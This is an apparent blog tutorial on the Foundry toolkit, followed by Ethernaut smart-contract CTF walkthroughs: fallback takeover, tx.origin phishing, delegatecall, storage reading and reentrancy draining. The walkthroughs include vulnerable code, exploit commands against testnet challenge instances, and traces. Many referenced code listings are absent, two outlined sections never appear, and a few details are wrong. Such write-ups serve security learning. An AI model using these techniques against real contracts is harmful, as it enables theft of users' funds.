today i go over some systems i’ve created in foundry for solving blockchain security challenges.

i tend to indulge myself with a pristine code organization && logic. in this particular case, i am pretty proud of my methodology for running exploits, tests, and submission scripts (you can see it for yourself, for instance, with my solution for ethernaut’s wargames). in addition, you can also find some experiments in this repository.

🎶 today’s mood

https://open.spotify.com/track/2B3D38o8GaXnZo6DnTyZ2m?si=d7fb579b135944ea

https://open.spotify.com/track/0vKVYgC41X7t579rc487OU?si=e844b5239a154b01

👾 today’s outline

0000. intro to foundry and forge
0001. comparison of flashloans on ethereum
0010. historical data on avalanche c-chain
0011. exploiting fallback()
0100. exploiting constructor()
0101. exploiting pseudo-randomness
0110. exploiting tx.origin
0111. exploiting integer overflows
1000. exploiting delegatecall
1001. exploiting payable contracts
1010. exploiting private functions
1011. exploiting transfer(msg.value)
1100. exploiting reentrancy
1101. exploiting interfaces
1110. exploiting interfaces II

0000. intro to foundry and forge

foundry is the de jure blockchain dev toolkit written in my favorite language, rust.

paradigm.xyz released it on 12/2021, giving engineers and researchers an exit from javascript 👹 tests on hardhat. with foundry, tests can now be natively written on solidity.

the go-to reference to get started with foundry is its open-source docs/book. the installation is straightforward, as long as you have rust and cargo installed.

foundry’s CLI is called forge, which is the main tool we use. foundry also ships with anvil (a tool to create a local testnet node) and cast (a CLI tool to perform ethereum RPC calls). these three together allow forking and testing by interacting with contracts on a real network.

most of the time, these are the forge commands you use:

• forge install/update/remove, to add/update/remove an external dependency (inside lib) using git submodules.

• forge build, to build your project (i.e., once you have your contracts and tests written).

• forge test <--match-contract --match-test --watch --fork-url etc.>, to run the tests you built.

• forge init <--template>, to start an empty project or to use another github project as a template.

however, forge contains several other utilities:

a typical foundry project

a project in foundry usually has the following directories:

• lib/: any library installed using forge install

  • the forge standard library is installed by default here (lib/forge-std)

  • by the way, libs can be re-configured with a remappings.txt file

• src/: where contracts to be tested are

• test/: where you add your solidity tests (e.g., MyContract.sol)

• scripts/: where you add helpful solidity scripts (e.g., MyScript.sol)

• out/: created after tests run, contain contract artifacts (e.g., ABI)

• cache/: created after tests run), present an internal resource so that forge don’t need to recompile everything every time

in addition, you usually see a config file foundry.toml in the root, where you can set the project’s behavior. something like this:

the basic gists of foundry tests

simply put, since tests are written in solidity, they either fail if there is a revert, or pass otherwise.

the basic layout of a forge contract test contains:

• setUp(), an optional function run before EACH test case

• test_*(), functions with this prefix are used for EACH test function that should pass

• testFail_*(), functions with the prefix are used for EACH test function that should fail (i.e., it must revert to pass)

and they look like this:

note that forge requires test functions to be either external or public.

manipulating the state of the blockchain with cheat-codes

foundry’s cheat-codes give the ability to alter the EVM state and mock data to a specific network state.

they can be accessed by a vm instance, with attributes like the following:

• vm.prank(address): change msg.sender to another address for the next call (e.g., address(0))

• vm.expectRevert()

• vm.expectEmit()

• vm.createFork(), vm.selectFork(), vm.activeFork() and others

• vm.wrap(block_timestamp

• vm.roll(block_number)

• vm.free(block_basefee)

• vm.prevrandao(block_prevrandao)

• vm.chainid(block_chainid)

• vm.store(address, slot, value) and vm.load(address, slot, value)

• vm.deal(who, new_balance) and vm.deal(token, to, amount)

• vm.recordLogs() and vm.getRecordedLogs()

• vm.setNonce() and vm.getNonce()

• vm.mockCall(address, function_selector, calldata)

• vm.coinbase(address)

• vm.txGasPrice()

• assertions such as expectRevert(), expectEmit(), and expectCall()

for instance, you can override the VM state by simulating older transactions with a certain token balance, a certain block, etc.

advanced testing and features

in forge, you can trace failed tests with -vvv . subtraces will show each call, return value, and the gas used (inside square brackets):

foundry also supports several property-based testing, which are tests that look at general behaviors as opposed to isolated scenarios:

• fuzzing: generates different scenarios, random inputs, etc.

• invariant testings: through several runs and depths, this class of testing trials for a set of invariant expressions against randomized sequences of pre-defined function calls from pre-defined contracts.

  • they can expose faulty logic in protocols (e.g., false assumptions, incorrect logic in edge cases).

💎 @horsefacts wrote an awesome guide on invariant tests a few months ago.

• differential testing: these tests cross-reference multiple implementations of the same function, by comparing each one’s output.

advanced testing suites are a fascinating subject in development and code security, and i would love to spend more time diving into them properly in future posts. for now, here is a good reference for learning.

in addition, tracing and logging, and foundry’s precompile registry (special contracts at a fixed address within the EVM) are also in my infinite want-to-learn list.

0001. comparison of flashloans on ethereum

in this project, we leverage foundry to compare flashloans from lending protocols on ethereum, including deployment cost and deployment size. this experiment is adapted from @jeiwan's code.

to run this project:

1. fork my code

2. install foundry and a solidity compiler (we are using ^0.8.16 in this project)

3. export an env variable for an ethereum RPC URL (e.g., from infura's, alchemy, ankr's, or your own node):

> export RPC_URL=<RPC_URL>

the code

each lending protocol we are testing has its own contract under src/, and they connect together through src/interface.sol:

here is UniswapV2.sol:

here is UniswapV3.sol:

here is Aavev2.sol:

here is Balancer.sol:

here is Euler.sol:

the test file

we are ready for our first foundry test, under tests/testFlashloan.sol:

simply build the contracts and run with:

pretty awesome ✨.

0010. historical data on avalanche c-chain

in this second example, we leverage foundry’s fork and vm features to analyze EVM-based blockchains. more specifically, we will be inspecting data on the avalanche c-chain.

this boilerplate may be expanded for several purposes, including testing vulnerabilities or extracting MEV data (e.g., to simulate sandwich attacks in a defi protocol).

in general, you can fork a blockchain by providing an RPC URL (same as before, infura's, alchemy, etc.):

> forge test --fork-url <RPC URL>

here are some cool things you can set:

• --fork-block-number

• --fork-chainid

• --gas-limit

• --chain-id

• --gas-price

• --block-base-fee-per-gas

• --block-coinbase

• --block-timestamp

• --block-number

• --block-difficulty

• --block-prevrandao

• --block-gas-limit

• --etherscan-api-key

each fork is a standalone EVM (i.e., they use entirely independent storage). however, the state of msg.sender and the test contract are the same across fork swaps.

in addition, vm cheat-codes also allow easy ways to modify the chain state at test runtime (for instance, many of the flags above can be simulated with vm as well).

the test file

after defining the desired assets and/or protocols to be researched, we can use the following procedure to write the simulation test:

1. find out the methods that trigger price updates (e.g., swap() on GMX’s router).

2. add/clone all the contracts needed for the methods above to contracts/.

3. use any blockchain analytics tools (e.g., dune or avax apis) to search for past blocks with the desired feature to be studied (e.g., by setting a threshold for price movements that could be interesting to look at).

4. create a list with all the blocks you find and add them to data/blocks.txt.

here is what my GMX test looks like:

running the test

0011. exploiting fallback()

cool, now let’s move to my foundry-open-sourced-code-that- i-am-the-most-proud-of.

for the rest of this post, i will be leveraging (read: solving) ethernaut’s challenges to illustrate hackings and solutions in foundry.

in this first challenge, we have to exploit a flawed fallback() function to gain control and drain this contract:

discussion

the only way to drain the contract is via withdraw(), which can only be called if msg.sender is the owner (because of the onlyOwner modifier).

this function will transfer all the funds in the contract to the owner's' address (note that this function is also vulnerable to reentrancy):

function withdraw() public onlyOwner {
    owner.transfer(address(this).balance);
}

there are two places in the contract where owner is updated with msg.sender: contribute() and the fallback receive().

the function contribute() allows the msg.sender to send wei to the contract and to be tracked by the contributions[] mapping variable.

if the total contribution made by a user is greater than the one by the actual owner, msg.sender will become owner:

 function contribute() public payable {
    require(msg.value < 0.001 ether);
    contributions[msg.sender] += msg.value;
    if(contributions[msg.sender] > contributions[owner]) {
      owner = msg.sender;
    }
  }

however, the contribution made by the user would need to be greater than 1000 eth (to beat the one made by the owner in the constructor):

 constructor() {
    owner = msg.sender;
    contributions[msg.sender] = 1000 * (1 ether);
  }

the fallback function receive() is a special function that is called "automatically" when some ether is sent to the contract without specifying anything in the calldata (i.e., calls made with send() or transfer()).

💎 implementing a fallback function is a good idea if the contract receives ether from other wallets or contracts, as they are useful for emitting payment events and checking requirements. every smart contract can only have one fallback function.

here, receive() requires that msg.value > 0 (the function call needs to contain some wei) and contributions[msg.sender] > 0 (the caller has to have donated before). if they pass, owner becomes msg.sender:

receive() external payable {
    require(msg.value > 0 && contributions[msg.sender] > 0);
    owner = msg.sender;
 }

solution

check test/01/Fallback.t.sol:

which can be run with:

> forge test --match-contract FallbackTest -vvvv    

Running 1 test for test/01/Fallback.t.sol:FallbackTest
(...)

Traces:
(...)

and submitted with script/01/Fallback.s.sol:

by running:

> forge script ./script/01/Fallback.s.sol \ 
                    --broadcast -vvvv \ 
                    --rpc-url sepolia

Traces:
(...)
==========================
Simulated On-chain Traces:
(...)
==========================

Chain 11155111
Estimated gas price: 3.645290764 gwei
Estimated total gas used for script: 119376
Estimated amount required: 0.000435160230243264 ETH

==========================

### Finding wallets for all the necessary addresses...
## Sending transactions [0 - 2].

## Waiting for receipts.

##### sepolia
✅  [Success]Hash: 0xd47b8ce14de27a974032f323d42f3cb2eae5ab09d2784458353aec217f58f36e
Block: 4092414
(...)
Paid: 0.00010032099827742 ETH (30364 gas * 3.303945405 gwei)

==========================
ONCHAIN EXECUTION COMPLETE & SUCCESSFUL.
Total Paid: 0.000279946598111055 ETH (84731 gas * avg 3.303945405 gwei)

pwned...

3-lines solution with cast

alternatively, this problem could be solved without much code, by leveraging cast.

first, call contribute() with some wei so that contributions[msg.sender] > 0:

> cast send <instance contract> "contribute()" \ 
                  --value `1wei` --private-key=<your private key> \ 
                  --rpc-url=<rpc endpoint to sepolia>

blockHash               0xb691cea544164091a2353aebeb15feede86763298d6136b3231923b36b715b4f
blockNumber             4077851
contractAddress
cumulativeGasUsed       3800590
effectiveGasPrice       3216660017
gasUsed                 47965
logs                    []
logsBloom               0x00...00

become owner when triggering receive() by sending 1 wei to the contract with an empty data field (i.e., empty msg.data):

> cast send <instance contract> \ 
                --value 1wei 
                --private-key=<your private key> \ 
                --rpc-url=<rpc endpoint to sepolia>

blockHash               0x1bf1ee70a9a9b3d919f93bdfd2f7f1c03325caefbd20522d5b1162c781c8a50c
blockNumber             4077853
contractAddress
cumulativeGasUsed       28302
effectiveGasPrice       3183243793
gasUsed                 28302
logs                    []
logsBloom               0x000...0
root
status                  1
transactionHash         0xa6c2fdecf316c8a57116c89aaee7fb5e3596ddc55f6e4e3bbc812802865c6f77
transactionIndex        0
type                    2

call withdraw() to drain the contract.

> cast send <instance contract> "withdraw()" \ 
              --private-key=<your private key> \ 
              --rpc-url=<rpc endpoint to sepolia>

blockHash               0x8ffea8d58449e5f9f2a15d264c851defe4b97ed724a3bf681196390ac8c09bd5
blockNumber             4077855
contractAddress
cumulativeGasUsed       1898453
effectiveGasPrice       3200792076
gasUsed                 30364
logs                    []
logsBloom               0x00000...00000
root
status                  1
transactionHash         0xd18e25cee0ba55165f0fbed21d9dad6ff227f9c6897fd9178818bf1611064eb0
transactionIndex        2
type                    2

0100. exploiting constructor()

in this challenge, the contract's constructor function is misspelled, causing the contract to call an empty constructor. we explore this vulnerability to become owner:

an example of this vulnerability exploited irl was when a company called dynamic piramid changed its name to rubixi but forgot to change its contract's constructor and ended up hacked.

discussion

a constructor initializes the contract and the data within it.

when a constructor has a different name from the contract, it becomes a regular method with a default public visibility (i.e., they are part of the contract's interface and can be callable by anyone).

this is the vulnerability we exploit:

  function Fal1out() public payable {
    owner = msg.sender;
    allocations[owner] = msg.value;
  }

💎 fun fact: before solidity 0.4.22, defining a function with the same name as the contract was the only way to define its constructor. after that version, the constructor keyword was introduced.

solution

i had to change the original contract a little to compile with foundry (e.g., adding a couple of payable casting and removing SafeMath as it's not needed for >= 0.8.0).

test/02/Fallout.t.sol is super simple:

run with:

> forge test --match-contract FalloutTest -vvvv    

Running 1 test for test/02/Fallout.t.sol:FalloutTest
[PASS] testFallbackHack() (gas: 35036)
Traces:
  [35036] FalloutTest::testFallbackHack() 
    ├─ [0] VM::startPrank(0x2B5AD5c4795c026514f8317c7a215E218DcCD6cF) 
    │   └─ ← ()
    ├─ [24507] Fallout::Fal1out() 
    │   └─ ← ()
    ├─ [0] VM::stopPrank() 
    │   └─ ← ()
    └─ ← ()

Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 514.50µs
Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)

then, a solution can be submitted with script/02/Fallout.s.sol:

by running:

> forge script ./script/02/Fallout.s.sol \ 
              --broadcast -vvvv \ 
              --rpc-url sepolia

[⠢] Compiling...
[⠃] Compiling 1 files with 0.8.21
[⠊] Solc 0.8.21 finished in 619.82ms
Compiler run successful!
Traces:
(...)

Script ran successfully.

## Setting up (1) EVMs.
==========================
Simulated On-chain Traces:
(...)
==========================

Chain 11155111
Estimated gas price: 3.397321144 gwei
Estimated total gas used for script: 62992
Estimated amount required: 0.000214004053502848 ETH

==========================

### Finding wallets for all the necessary addresses...
## Sending transactions [0 - 0].
⠁ [00:00:00] [###################] 1/1 txes (0.0s)
## Waiting for receipts.
⠉ [00:00:12] [#####################################] 1/1 receipts (0.0s)
##### sepolia
✅  [Success]Hash: 0x398c258730c922336d269c8ee892f215573cc0ebce34605bb655c171b7fbe374
Block: 4097312
Paid: 0.00014700180794244 ETH (45606 gas * 3.22329974 gwei)

==========================
ONCHAIN EXECUTION COMPLETE & SUCCESSFUL.
Total Paid: 0.00014700180794244 ETH (45606 gas * avg 3.22329974 gwei)

pwned...

0101. exploiting pseudo-randomness

in this challenge, we exploit the determinism of a pseudo-random function composed uniquely of an EVM global accessible variable (blockhash) and no added entropy.

this is the vulnerable contract:

discussion

the EVM is a deterministic turing machine.

since it has no inherent randomness and as everything in the contracts is publicly visible (e.g., block.timestamp, block.number), generating random numbers in solidity is non-trivial.

projects resource to external oracles or to ethereum validator's RANDAO algorithm.

the CoinFlip contract uses the current block's blockhash to determine the side of a coin, represented by a bool variable named coinFlip:

uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1 ? true : false;

which is derived from the variable blockValue as a uint256 generated from the previous block number (block's number minus 1):

uint256 blockValue = uint256(blockhash(block.number - 1));

this FACTOR variable is useless:

• first, division by a large constant does not introduce any randomness entropy at all.

• second, even if this constant is private, it's still available at etherscan or by decompiling the bytecode (if the contract is not verified).

uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

finally, the "randomness" in this contract is calculated from on-chain deterministic data, so all we need to do is simulate side before we submit a guess, and repeat this ten times.

if (side == _guess) {
    consecutiveWins++;
    return true;
} else {
    consecutiveWins = 0;
    return false;
}

for this simulation, we leverage foundry's vm.roll(uint256), which simulates the block.number given by the uint256.

solution

our exploit is located at src/03/CoinFlipExploit.sol:

which can be tested with test/03/CoinFlip.t.sol:

running with:

> forge test --match-contract CoinFlipTest -vvvv

Running 1 test for test/03/CoinFlip.t.sol:CoinFlipTest
[PASS] testCoinFlipHack() (gas: 247316)
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 670.88µs
Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)

to submit the solution, we run script/03/CoinFlip.s.sol:

with:

> forge script ./script/03/CoinFlip.s.sol \ 
              --broadcast -vvvv \ 
              --rpc-url sepolia

[⠰] Compiling...
No files changed, compilation skipped
Traces:
(...)

Script ran successfully.

== Logs ==
  10

## Setting up (1) EVMs.
==========================
Simulated On-chain Traces:
(...)

==========================

Chain 11155111
Estimated gas price: 3.00000004 gwei
Estimated total gas used for script: 587395
Estimated amount required: 0.0017621850234958 ETH

==========================

## Waiting for receipts.
⠄ [00:00:13] [###########################################] 11/11 receipts (0.0s)
##### sepolia
✅  [Success]Hash: 0x974e6b9a856aa81b641d4e1a5b18644b383c92feb6781edb2bd23ef19b0b8a7f
Contract Address: 0x677cB6C1682E2Fa2715B637190167FAc419a4a88
Block: 4230872
Paid: 0.000479472003835776 ETH (159824 gas * 3.000000024 gwei)

(...)

==========================

ONCHAIN EXECUTION COMPLETE & SUCCESSFUL.
Total Paid: 0.001304178010433424 ETH (434726 gas * avg 3.000000024 gwei)

pwned...

0110. exploiting tx.origin

in this challenge, we exploit the difference between solidity's global variables tx.origin and msg.sender to to phish with tx.origin and become owner.

tx.origin refers to the EOA that initiated the transaction (which can be many calls ago in the stack, and never be a contract), while msg.sender is the immediate caller (and can be a contract).

tx.origin is known for being generally vulnerable, and its use should be restricted to specific cases, such as denying external contracts from calling the current contract (for instance, with a require(tx.origin == msg.sender)).

💎 *fun fact, this type of vulnerability resembles web2's cross-site request forgery (csrf). exactly a decade ago, when i was getting started in security research and csrf was still heavily in the wild, i wrote a modification of apache's* mod_security to monitor for it. it's wild how the world has changed in a decade…

discussion

Telephone() contract is pretty simple. first, it declares a state variable called owner (state variables have values permanently stored in a contract storage):

address public owner;

then we have a constructor that defines that the EOA who deploys this contract is its owner:

constructor() {
    owner = msg.sender;
}

finally, we have a function to change the owner, which checks if the caller is not the owner to give the ownership. this function is our target, and to exploit it, we need to make sure that tx.origin and msg.sender are not the same:

function changeOwner(address _owner) public {
    if (tx.origin != msg.sender) {
      owner = _owner;
    }
}

this can be done by creating an intermediary contract that makes a call to Telephone().

this is our exploit:

solution

first, we test our solution at test/04/Telephone.t.sol:

by running:

> forge test --match-contract TelephoneTest -vvvv    

once it passes, we submit the exploit with script/04/Telephone.s.sol:

by running:

> forge script ./script/04/Telephone.s.sol \ 
                --broadcast -vvvv \ 
                --rpc-url sepolia

alternative solution with cast

instead of relying on our deploying script, a second option is deploying the contract directly with:

> forge create src/04/TelephoneExploit.sol:TelephoneExploit \ 
              --constructor-args <level address> \ 
              --private-key=<private-key> \ 
              --rpc-url=<sepolia url> 

note that we would have to slightly modify our exploit to create an instance of Telephone instead of receiving it as an argument (with level).

something like this:

to call the exploit, we run:

> cast send <deployed address> "changeOwner()" \ 
                    --private-key=<private-key> \ 
                    --rpc-url=<sepolia url> 

pwned...

0111. exploiting integer overflows

in this challenge, we explore a classic vulnerability in both web2 and web3 security: integer overflows.

this is the vulnerable contract:

discussion

programming languages that are not memory-managed can have their integer variables overflown if assigned to values larger than the variables' capacity limit.

we will use this trick to overflow a uint and bypass the require() check of Token()'s transfer() function:

function transfer(address _to, uint _value) public returns (bool) {
    require(balances[msg.sender] - _value >= 0);
    balances[msg.sender] -= _value;
    balances[_to] += _value;
    return true;
}

whenever we add 1 to a variable's maximum value, the value wraps around and decreases.

for example, an (unsigned) uint8, has the maximum value of 2^8 - 1 = 255. if we add 1 to it, it becomes 0. same as 2^256 - 1 + 1.

symmetrically, if we subtract a value larger than what the variable holds, the result wraps around from the other side, increasing the variable's value. this is our exploit.

if we pass a _value to transfer() that is larger than 20, for instance 1, balances[msg.sender] - _value results on uint256(-1), which is equal to a very large number, 2^256 – 1.

in solidity, this type of integer overflow used to be a vulnerability until version 0.8.0.

this is why contracts were advised to use OpenZeppelin' SafeMath.sol whenever they performed integer operations. in newer versions, if the code is not performing these operations, we can use unchecked to save gas.

solution

since this challenge is so easy, we skip tests and go directly to the submission script, script/05/Token.s.sol:

running with:

> forge script ./script/05/Token.s.sol --broadcast -vvvv --rpc-url sepolia

pwned...

1000. exploiting delegatecall

in this challenge, we become owner by leveraging an attack surface generated from implementing the low-level function delegatecall (from opcode DELEGATECALL).

exploitation of delegatecall() has been in several hacks in the wild, for example the parity multisig wallet hack, in 2017.

this is the vulnerable contract:

discussion

CALL and DELEGATECALL opcodes allow ethereum developers to modularize their code.

standard external message calls are handled by CALL (code is run in the context of the external contract/function).

DELEGATECALL is almost identical, except that the code executed at the targeted address is run in the context of the calling contract (useful when writing libraries and for proxy patterns).

when a contract executes DELEGATECALL to another contract, this contract is executed with the original contract msg.sender, msg.value, and storage (in particular, the contract's storage can be changed).

finally, the function delegatecall() is a way to make these external calls to other contracts.

in this problem, we are provided with two contracts. Delegate() is the parent contract, which we want to become owner of. conveniently, the function pwn() is very explicit on being our target:

now, note that the variable owner is in the first slot of both contracts.

ordering of variable slots (and their mismatches) are what DELEGATECALL exploits in the wild usually explore.

this is important because we are dealing with opcodes, as every variable has a specific slot and should match in both the origin and destination contracts.

in our case, we when trigger the fallback in Delegate() to generate a delegate call to run pwn() in Delegation(), the owner variable (which is at slot0 of both contracts) updates Delegation()'s storage slot0.

the second contract, which we have access, is Delegation(), comes with has another convenience: a delegatecall() in the fallback function.

this fallback function is simply forwarding everything to Delegate():

from a previous challenge, we know that fallback functions are like a "catch-all" in a contract, so it's pretty easy to access them.

in this particular case, delegatecall() takes msg.data as input (i.e., whatever data we pass when we trigger the fallback). it's pretty much an exec, as we can pass function calls through it.

the last information we need is to learn how deletecall() passes arguments.

the function signatures are encoded by computing Keccak-246 and keeping the first 4 bytes (the function selector in the EVM).

delegatecall(abi.encodeWithSignature("func_signature", "arguments"));

in our attack we will use call(abi.encodeWithSignature("pwn()") to trigger fallback() and become owner.

this is also equivalent to the eth call sendTransaction():

sendTransaction({ 
    to: contract.address, 
    data: web3.eth.abi.encodeFunctionSignature("pwn()"), 
    from: hackerAddress
 })

solution

check test/06/Delegation.t.sol:

run:

> forge test --match-contract DelegationTest -vvvv    

submit with script/06/Delegation.s.sol:

by running:

> forge script ./script/06/Delegation.s.sol \ 
                --broadcast -vvvv \ 
                --rpc-url sepolia

alternative solution using cast

get methodId for pwn():

> cast calldata 'pwn()'

use the result above to trigger Delegation() fallback function with a crafted msg.data:

> cast send <instance address> <calldata above> \ 
                    --gas <extra gas> \ 
                    --private-key=<private-key> \ 
                    --rpc-url=<sepolia url> 

pwned...

1001. exploiting payable contracts

this challenge’s contract has no code…

in fact, this challenge exploits smart contract invariants, and how total balance is not a good invariant.

contract invariants are properties of the program state that are expected to always be true. for instance, the value of owner state variable, the total token supply, etc., should always remain the same.

a state in the blockchain is considered valid when the contract-specific invariants hold true.

in this challenge, we need to find a way to forcefully send ether to a contract that does not explicitly contain a payable, a receive(), or a fallback() function.

there are two ways this can be done when the destination contract is already deployed:

• by using coinbase transactions or block rewards (like MEV searchers and validators rewards)

• by leveraging (the now being deprecated) selfdestruct(address), which allows contracts to receive ether from other contracts.

  • all the ether stored in the calling contract is transferred to address (and since this happens at the EVM level, there is no way for the receiver to prevent it).

  • selfdestruct() can be considered a garbage collection to clean up voided contracts (and it consumes negative gas).

solution

we craft a very simple exploit, located at src/07/ForceExploit.sol:

and test it with test/07/Force.t.sol:

running:

> forge test --match-contract ForceTest -vvvv    

then, we submit the solution with script/07/Force.s.sol:

by running:

> forge script ./script/07/Force.s.sol --broadcast -vvvv --rpc-url sepolia

pwned...

alternative solution using cast

deploy the exploit with:

> forge create src/07/ForceExploit.sol:ForceExploit \ 
                --constructor-args=<level address> \ 
                --private-key=<private-key> \ 
                --rpc-url=<sepolia url> 

then call the contract with:

> cast send <deployed address> \ 
                --value 0.0005ether \ 
                --private-key=<private-key> \ 
                --rpc-url=<sepolia url> 

1010. exploiting private functions

this challenge explores the fact that if a state variable is declared private, it's only hidden from other contracts (i.e., it's private within the contract's scope).

this is the vulnerable contract:

in other words, a private variable's value is still recorded in the blockchain and is open to anyone who understands how the memory is organized.

remember that public and private are visibility modifiers, while pure and view are state modifiers.

a great explanation about solidity function visibility can be found on solidity by example.

before we start, it's worth talking about the four ways the EVM stores data, depending on their context.

firstly, there is the key-value stack, where you can POP, PUSH , DUP1, or POP data.

• basically, the EVM is a stack machine, as it does not operate on registers but on a virtual stack with a size limit 1024.

• stack items (both keys and values) have a size of 32-bytes (or 256-bit), so the EVM is a 256-bit word machine (facilitating, for instance, keccak256 hash scheme and elliptic-curve computations).

secondly, there is the byte-array memory (RAM), used to store data during execution (such as passing arguments to internal functions).

• opcodes are MSTORE, MLOAD, or MSTORE8.

third, there is the calldata (which can be accessed through msg.data), a read-only byte-addressable space for the data parameter of a transaction or call.

• unlike the stack, this data is accessed by specifying the exact byte offset and the number of bytes to read.

• opcodes are CALLDATACOPY, which copies a number of bytes of the transaction to memory, CALLDATASIZE, and CALLDATALOAD.

lastly, there is disk storage, a persistent read-write word-addressable space, where each contract stores persistent information (and where state variables live), and is represented by a mapping of 2^{256} slots of 32 bytes each.

• the opcode SSTORE is used to store data and SLOAD to load.

discussion

the first thing we see in the contract is the two state variables set as private.

in particular, password is declared as byte32, which makes this problem even simpler (hint: remember that the EVM operates on 32 bytes at a time):

bool private locked; 
bytes32 private password;

looking at the constructor, we see that password is given as input by whoever deploys this contract (and also setting the variable locked to True):

constructor(bytes32 _password) {
    locked = true;
    password = _password;
  }

finally, we look at the only function in the contract: it "unlocks" locked when given the correct password:

function unlock(bytes32 _password) public {
    if (password == _password) {
      locked = false;
    }
}

there are many ways to solve this exercise, but the theory is the same: each smart contract has its own storage reflecting the state of the contract, which is divided into 32-byte slots.

a first approach is simply to call the well-known API  web3.eth.getStorageAt(contractAddress, slotNumber), as we know the contract address and that password is on slot number 1:

> await web3.eth.getStorageAt("<contract address>, 1")

however, we use a more formal approach that leverages foundry's vm.load() method:

function load(address account, bytes32 slot) external returns (bytes32);

in particular, foundry's std storage library is a great util to manipulate storage.

from the foundry book, here is an illustration of how vm.load() works:

contract LeetContract {
     uint256 private leet = 1337; // slot 0
}

bytes32 leet = vm.load(address(leetContract), bytes32(uint256(0)));
emit log_uint(uint256(leet)); // 1337

solution

check test/08/Vault.t.sol:

run the test with:

> forge test --match-contract VaultTest -vvvv    

then submit the solution with script/08/Vault.s.sol:

by running:

> forge script ./script/08/Vault.s.sol --broadcast -vvvv --rpc-url sepolia

pwned...

alternative solution using cast

get the password with:

> cast storage <contract address> 1 \ 
              --private-key=<private-key> \ 
              --rpc-url=<sepolia url> 

run in the console:

> await contract.unlock(<password>)

1011. exploiting transfer(msg.value)

the King contract represents a simple ponzi where whoever sends the largest amount of ether (larger than the current prize value) becomes the new king.

in this event, the previous king gets paid the new prize.

here is the vulnerable contract:

the vulnerability lies on the fact that the contract trusts the external input of msg.value when running transfer(msg.value). it assumes that the king is an EOA, which could also be a contract.

our goal is to explore this vulnerability to not let anyone else become the king.

discussion

the King contract starts with three state variables that are set in the constructor:

  address king;
  uint public prize;
  address public owner;

  constructor() payable {
    owner = msg.sender;  
    king = msg.sender;
    prize = msg.value;
  }

king is initially the person who deployed the contract and sets prize (the current value to be bet by someone to become king). the only requirement is that the ether sent to the contract must be larger than prize.

following we have the receive() function and a getter for king. to become a king one needs to either be owner or send a value for prize larger than its current. since we didn't deploy the contract, the first option is not available:

  receive() external payable {
    require(msg.value >= prize || msg.sender == owner);
    payable(king).transfer(msg.value);
    king = msg.sender;
    prize = msg.value;
  }

  function _king() public view returns (address) {
    return king;
  }

looking at receive(), we see that after we send enough prize, a payable function is triggered to pay prize to the previous king.

it uses transfer(address), which sends the amount of wei to address, throwing an error on failure.

sending ether to EOAs is usually performed via transfer() method, but remember that there are a few ways of performing external calls in solidity. the send() function also consumes 2300 gas, but returns a bool.

finally, the call() function and the CALL opcode can be directly employed, forwarding all gas and returning a bool.

in addition, note that this contract has no error handling, so an obvious security issue is unchecked call return values.

in other words, each time a contract sends ether to another, it depends on the other contract’s code to handle the transaction and determine its success.

for instance, the contract might not have a payable fallback(), or have a malicious fallback() or payable function.

if the new king is a contract address instead of a EOA, it could redirect transfer() and revert its transaction, skipping the execution of the next lines:

king = msg.sender;
prize = msg.value;

solution

we write our exploit at src/09/KingExploit.sol.

note that the fallback() is optional for winning the challenge, but we add it here to make very clear the point that no eth should be sent (i.e., there won't be a new king):

we test this script with test/09/King.t.sol:

running with:

> forge test --match-contract KingTest -vvvv    

then, we craft the submission script at script/09/King.s.sol:

and finish the problem running:

> forge script ./script/09/King.s.sol --broadcast -vvvv --rpc-url sepolia

pwned...

alternative solution using cast

deploy the exploit with:

> forge create src/09/KingExploit.sol:Contract \ 
              --constructor-args=<level address> \ 
              --private-key=<private-key> \ 
              --rpc-url=<sepolia url> --value 1000000000000000wei

then call the contract with:

> cast send <deployed address> \ 
          --value 0.0001ether \ 
          --private-key=<private-key> \ 
          --rpc-url=<sepolia url> 

1100. exploiting reentrancy

we know that contracts may call other contracts by function calls or transferring ether. they can also call back contracts that called them (i.e., reentering) or any other contract in the call stack.

a reentrancy attack can happen when a contract is reentered in an invalid state. this can happen if the contract calls other untrusted contracts or transfers funds to untrusted accounts.

state in the blockchain is considered valid when the contract-specific invariants hold true. contract invariants are properties of the program state that are expected always to be true. for instance, the value of owner state variable, the total token supply, etc., should always remain the same.

in its simplest version, an attacking contract exploits vulnerable code in another contract to seize the flow of operation or funds.

for example, an attacker could repeatedly call a withdraw() or receive() function (or similar balance updating function) before a vulnerable contract’s balance is updated.

💎 for a detailed review on reentrancy attacks, check my mirror post.

in this challenge, we need to exploit this contract:

discussion

the Reentrance contract starts with a state variable for balances:

contract Reentrance {
  mapping(address => uint256) public balances;

then we have a getter and a setter function for donate() (whoever donates some ether becomes part of balances) and balanceOf():

function donate(address _to) public payable {
     balances[_to] = balances[_to] += msg.value;
}

function balanceOf(address _who) public view returns (uint256 balance) {
    return balances[_who];
}

then, we have the withdraw(amount) function, which is the source of our reentrancy attack.

for instance, note how it already breaks the checks -> effects -> interactions pattern.

in other words, if msg.sender is a (attacker) contract and since balances deduction is made after the call, the contract can call a fallback() to cause a recursion that sends the value multiple times before reducing the sender's balance.

  function withdraw(uint256 _amount) public {
        if (balances[msg.sender] >= _amount) {
            (bool success, ) = msg.sender.call{value: _amount}("");
            if (success) {
                _amount;
            }
            // unchecked to prevent underflow errors
            unchecked {
                balances[msg.sender] -= _amount; 
            }
        }
    }

finally, we see a blank receive() function, which receives any ether sent to the contract without specifically calling donate().

receive() is a new keyword in solidity 0.6.x, and it is used as a fallback() function for empty calldata (or any value) that is only able to receive ether.

remember that solidity’s fallback() function is executed if none of the other functions match the function identifier or no data was provided with the function call (and it can be optionally payable).

receive() external payable {}

solution

our exploit needs to do the following:

1. makes an initial donation of ether through call().

2. calls the first withdraw(initialDeposit) for this amount of ether (which triggers our exploit's receive() for the first time and starts the recursion).

3. call the second withdraw(address(level).balance) to drain the contract.

the exploit is located at src/10/ReentrancyExploit.sol. note that the attack occurs at run() and receive(). the function withdrawtoHacker() can be called afterwords to withdraw the balance from the ReentrancyExploit contract:

which can be tested with test/10/Reentrancy.t.sol:

by running:

> forge test --match-contract ReentrancyTest -vvvv    

finally, the solution can be submitted with script/10/Reentrancy.s.sol:

by running:

> forge script ./script/10/Reentrancy.s.sol --broadcast -vvvv --rpc-url sepolia

pwned...

